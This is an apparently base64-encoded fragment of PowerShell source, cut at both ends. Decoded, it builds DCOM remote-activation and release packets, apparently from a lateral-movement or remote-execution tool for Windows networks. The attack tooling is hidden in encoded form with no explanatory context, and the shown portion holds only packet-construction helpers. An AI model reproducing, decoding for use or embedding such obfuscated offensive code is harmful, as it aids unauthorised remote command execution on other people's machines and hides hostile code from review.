gJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfQ2F1c2FsaXR5SUQiLCRwYWNrZXRfY2F1c2FsaXR5X0lEKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX1Jlc2VydmVkMiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfSVBJRCIsJHBhY2tldF9JUElEKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX1JlZnMiLFtCeXRlW11dKDB4MDUsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX0lJRHMiLFtCeXRlW11dKDB4MDEsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfVW5rbm93biIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX0lJRCIsJHBhY2tldF9JSUQpDQoNCiAgICByZXR1cm4gJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldERDT01SZW1SZWxlYXNlKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY2F1c2FsaXR5X0lELFtCeXRlW11dJHBhY2tldF9JUElELFtCeXRlW11dJHBhY2tldF9JUElEMikNCg0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9WZXJzaW9uTWFqb3IiLFtCeXRlW11dKDB4MDUsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwNywweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1SZWxlYXNlLkFkZCgiRENPTVJlbVJlbGVhc2VfRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX0NhdXNhbGl0eUlEIiwkcGFja2V0X2NhdXNhbGl0eV9JRCkNCiAgICAkcGFja2V0X0RDT01SZW1SZWxlYXNlLkFkZCgiRENPTVJlbVJlbGVhc2VfUmVzZXJ2ZWQyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1SZWxlYXNlLkFkZCgiRENPTVJlbVJlbGVhc2VfVW5rbm93biIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX0ludGVyZmFjZVJlZnMiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9JUElEIiwkcGFja2V0X0lQSUQpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX1B1YmxpY1JlZnMiLFtCeXRlW11dKDB4MDUsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9Qcml2YXRlUmVmcyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX0lQSUQyIiwkcGFja2V0X0lQSUQyKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9QdWJsaWNSZWZzMiIsW0J5dGVbXV0oMHgwNSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX1ByaXZhdGVSZWZzMiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9EQ09NUmVtUmVsZWFzZQ0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0RENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY2F1c2FsaXR5X0lELFtTdHJpbmddJHBhY2tldF90YXJnZXQpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCRwYWNrZXRfdGFyZ2V0KQ0KICAgIFtCeXRlW11dJHBhY2tldF90YXJnZXRfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3RhcmdldC5MZW5ndGggKyAxKQ0KICAgICRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUgKz0gLDB4MDAgKiAoKFtNYXRoXTo6VHJ1bmNhdGUoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggLyA4ICsgMSkgKiA4KSAtICRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUuTGVuZ3RoKQ0KICAgIFtCeXRlW11dJHBhY2tldF9jbnRkYXRhID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3RhcmdldF91bmljb2RlLkxlbmd0aCArIDcyMCkNCiAgICBbQnl0ZVtdXSRwYWNrZXRfc2l6ZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggKyA2ODApDQogICAgW0J5dGVbXV0kcGFja2V0X3RvdGFsX3NpemUgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUuTGVuZ3RoICsgNjY0KQ0KICAgIFtCeXRlW11dJHBhY2tldF9wcml2YXRlX2hlYWRlciA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggKyA0MCkgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgW0J5dGVbXV0kcGFja2V0X3Byb3BlcnR5X2RhdGFfc2l6ZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggKyA1NikNCg0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9EQ09NVmVyc2lvbk1ham9yIixbQnl0ZVtdXSgweDA1LDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0RDT01WZXJzaW9uTWlub3IiLFtCeXRlW11dKDB4MDcsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfRENPTUZsYWdzIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9EQ09NUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0RDT01DYXVzYWxpdHlJRCIsJHBhY2tldF9jYXVzYWxpdHlfSUQpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfVW5rbm93biIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfVW5rbm93bjIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX1Vua25vd24zIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9Vbmtub3duNCIsJHBhY2tldF9jbnRkYXRhKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ250RGF0YSIsJHBhY2tldF9jbnRkYXRhKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzT0JKUkVGU2lnbmF0dXJlIixbQnl0ZVtdXSgweDRkLDB4NDUsMHg0ZiwweDU3KSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc09CSlJFRkZsYWdzIixbQnl0ZVtdXSgweDA0LDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc09CSlJFRklJRCIsW0J5dGVbXV0oMHhhMiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZDTFNJRCIsW0J5dGVbXV0oMHgzOCwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZDQkV4dGVuc2lvbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZTaXplIiwkcGFja2V0X3NpemUpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1RvdGFsU2l6ZSIsJHBhY2tldF90b3RhbF9zaXplKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0N1c3RvbUhlYWRlckNvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ3VzdG9tSGVhZGVyUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHhiMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ3VzdG9tSGVhZGVyVG90YWxTaXplIiwkcGFja2V0X3RvdGFsX3NpemUpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0N1c3RvbUhlYWRlckN1c3RvbUhlYWRlclNpemUiLFtCeXRlW11dKDB4YzAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDdXN0b21IZWFkZXJSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Rlc3RpbmF0aW9uQ29udGV4dCIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc051bUFjdGl2YXRpb25Qcm9wZXJ0eVN0cnVjdHMiLFtCeXRlW11dKDB4MDYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNJbmZvQ2xzaWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNJZFB0clJlZmVyZW50SUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clJlZmVyZW50SUQiLFtCeXRlW11dKDB4MDQsMHgwMCwweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNOVUxMUG9pbnRlciIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyTWF4Q291bnQiLFtCeXRlW11dKDB4MDYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNJZFB0clByb3BlcnR5U3RydWN0R3VpZCIsW0J5dGVbXV0oMHhiOSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkMiIsW0J5dGVbXV0oMHhhYiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkMyIsW0J5dGVbXV0oMHhhNSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkNCIsW0J5dGVbXV0oMHhhNiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkNSIsW0J5dGVbXV0oMHhhNCwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkNiIsW0J5dGVbXV0oMHhhYSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc1NpemVzUHRyTWF4Q291bnQiLFtCeXRlW11dKDB4MDYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clByb3BlcnR5RGF0YVNpemUiLFtCeXRlW11dKDB4NjgsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clByb3BlcnR5RGF0YVNpemUyIixbQnl0ZVtdXSgweDU4LDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ2xzU2l6ZXNQdHJQcm9wZXJ0eURhdGFTaXplMyIsW0J5dGVbXV0oMHg5MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc1NpemVzUHRyUHJvcGVydHlEYXRhU2l6ZTQiLCRwYWNrZXRfcHJvcGVydHlfZGF0YV9zaXplKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clByb3BlcnR5RGF0YVNpemU1IixbQnl0ZVtdXSgweDIwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ2xzU2l6ZXNQdHJQcm9wZXJ0eURhdGFTaXplNiIsW0J5dGVbXV0oMHgzMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHg1OCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzU2Vzc2lvbklEIixbQnl0ZVtdXSgweGZmLDB4ZmYsMHhmZiwweGZmKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzUmVtb3RlVGhpc1Nlc3Npb25JRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc0NsaWVudEltcGVyc29uYXRpbmciLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNQYXJ0aXRpb25JRFByZXNlbnQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNEZWZhdWx0QXV0aG5MZXZlbCIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc1BhcnRpdGlvbkd1aWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgw